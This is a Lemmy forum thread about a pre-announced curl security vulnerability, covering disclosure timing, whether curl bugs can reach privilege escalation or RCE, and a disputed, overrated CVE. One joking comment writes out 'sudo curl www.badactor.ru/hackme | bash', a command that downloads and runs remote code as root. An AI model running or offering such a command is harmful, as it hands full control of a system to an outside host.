• PeWu@lemmy.ml
      link
      fedilink
      arrow-up
      15
      ·
      1 year ago

      For real. One with .webp, one with privilege escalation, and now this.

    • OsrsNeedsF2P@lemmy.ml
      link
      fedilink
      arrow-up
      14
      ·
      edit-2
      1 year ago

      Canonical has been aggressively expanding their security team, and Levels.fyi showed last quarter that security researchers were some of the highest paid forms of software development.

      Doesn’t guarantee anything long-term, but there’s a few suggestions that security has gotten a larger focus lately.

      • P03 Locke@lemmy.dbzer0.com
        link
        fedilink
        English
        arrow-up
        4
        ·
        1 year ago

        Good. There’s so much chain of trust in the OSS community that it’s hard to keep up with the tens of thousands of libraries that literally hold up the Internet.

        It’s a shame we discover these critical bugs so late in the process, but at least we discover them at all…

  • tony@lemmy.hoyle.me.uk
    link
    fedilink
    English
    arrow-up
    16
    arrow-down
    3
    ·
    1 year ago

    I’d rather they didn’t announce it existed before announcing what it is… now we’ve got to sit around for a week potentially knowing the curl command could give someone root access or something.

    • sun_is_ra@sh.itjust.works
      link
      fedilink
      English
      arrow-up
      7
      ·
      1 year ago

      If they annoubce what is it, attackers could use the bug to exploit systems before people get chance to update.

      Though I worry its possible to know what the bug is by reviewing changes in curl source code

      • LwL@lemmy.world
        link
        fedilink
        arrow-up
        5
        ·
        1 year ago

        The exploit is years old and has been unknown until recently, and they specifically didn’t list which versions are affected to avoid making it easier to figure out through code changes.

      • tony@lemmy.hoyle.me.uk
        link
        fedilink
        English
        arrow-up
        4
        ·
        1 year ago

        So don’t announce anything… keep it quiet until the fixes are ready.

        Now potential hackers know there’s a flaw there and will be looking for it, and they have clear space to do so before anyone can fix it.

        • NotSteve_@lemmy.ca
          link
          fedilink
          arrow-up
          5
          ·
          1 year ago

          From what I’ve heard, it’s to give companies time to prep for downtime to patch. If they just released the fix now, companies would have to scramble to deal with unexpected downtime.

          I believe package maintainers have also been given the fix early to prepare it for release. That means there’s no waiting for Ubuntu or whoever to have the update available.

  • PowerCrazy@lemmy.ml
    link
    fedilink
    arrow-up
    9
    arrow-down
    5
    ·
    1 year ago

    I don’t see how a vulnerability in Curl can exist at all unless it’s privilege escalation (you don’t run curl as root do you?) And if it’s not a privilege escalation, then it sounds like it’s just a “root user can do things that you can do as root, possibly unintended” which isn’t a vulnerability at all.

    sudo curl www.badactor.ru/hackme | bash !!!

    • nathris@lemmy.ca
      link
      fedilink
      arrow-up
      14
      ·
      1 year ago

      Could be an RCE exploit. Doesn’t matter if it’s privilege escalation at that point because it can be used to execute a payload that can.

      • taaz@biglemmowski.winOP
        link
        fedilink
        English
        arrow-up
        2
        ·
        edit-2
        1 year ago

        To top it of it seems it’s also contained in libcurl, and getting RCEd just by doing a request does not sound fun.

      • PowerCrazy@lemmy.ml
        link
        fedilink
        arrow-up
        2
        arrow-down
        6
        ·
        1 year ago

        I’ll admit i’m out of my depth about exactly how curl works on the local system, but surely if there is a vulnerability in the “libcurl” library that is much more serious and severe then just saying “curl” is vulnerable.

        I’m assuming that libcurl touches a huge amount of the linux network stack.

        • tony@lemmy.hoyle.me.uk
          link
          fedilink
          arrow-up
          1
          ·
          1 year ago

          They specifically say the high vulnerability one affects the command line tool, not just the library. High implies privilege escalation… I’m wondering how at this point because it’s not setuid and there’s really no reason opening a TCP socket could cause it (and if it does, that’s a kernel error not curl).

    • OsrsNeedsF2P@lemmy.ml
      link
      fedilink
      arrow-up
      8
      ·
      1 year ago

      Could be something curl parses that escapes the intended program boundaries. Basically the same way the latest image vulnerabilities affecting iOS, Android and browsers has been happening

    • PipedLinkBot@feddit.rocksB
      link
      fedilink
      English
      arrow-up
      1
      ·
      1 year ago

      Here is an alternative Piped link(s):

      again

      Piped is a privacy-respecting open-source alternative frontend to YouTube.

      I’m open-source; check me out at GitHub.

    • Backslash@feddit.de
      link
      fedilink
      arrow-up
      45
      ·
      1 year ago

      Reading the blog post, it’s a lot more nuanced than that: someone reported a CVE, which was related to a possible int overflow in client code handling the timeout between requests. NVD chose to grade this as a 9.8/10 on their severity scale (for context, CVE-2014-0160, also known as Heartbleed, got a 7.5/10), which is ludicrous for a bug which could at most change the retry timeout of your request from your intended years to a few seconds. Daniel says that this is not a security vulnerability at all and has no business being listed on the CVE database, whereas NVD argues that it’s a bug, it’s been reported to them and because overflows are undefined behavior, anything can happen and so it’s a security vulnerability.

      In the end, they agreed to at least adjust the severity down to a 3.3, but I can understand that Daniel is still somewhat miffed about it. Personally I also agree that it’s not really a security issue and that even a 3.3 is too high in terms of severity.

    • SteveTech@programming.dev
      link
      fedilink
      English
      arrow-up
      1
      ·
      1 year ago

      I’m not sure, but I think they’re able to review their own CVEs now, or at least they were trying to be able to after 2020-19909. Because companies like Microsoft, Intel, and stuff already do. (I believe the term is CNA)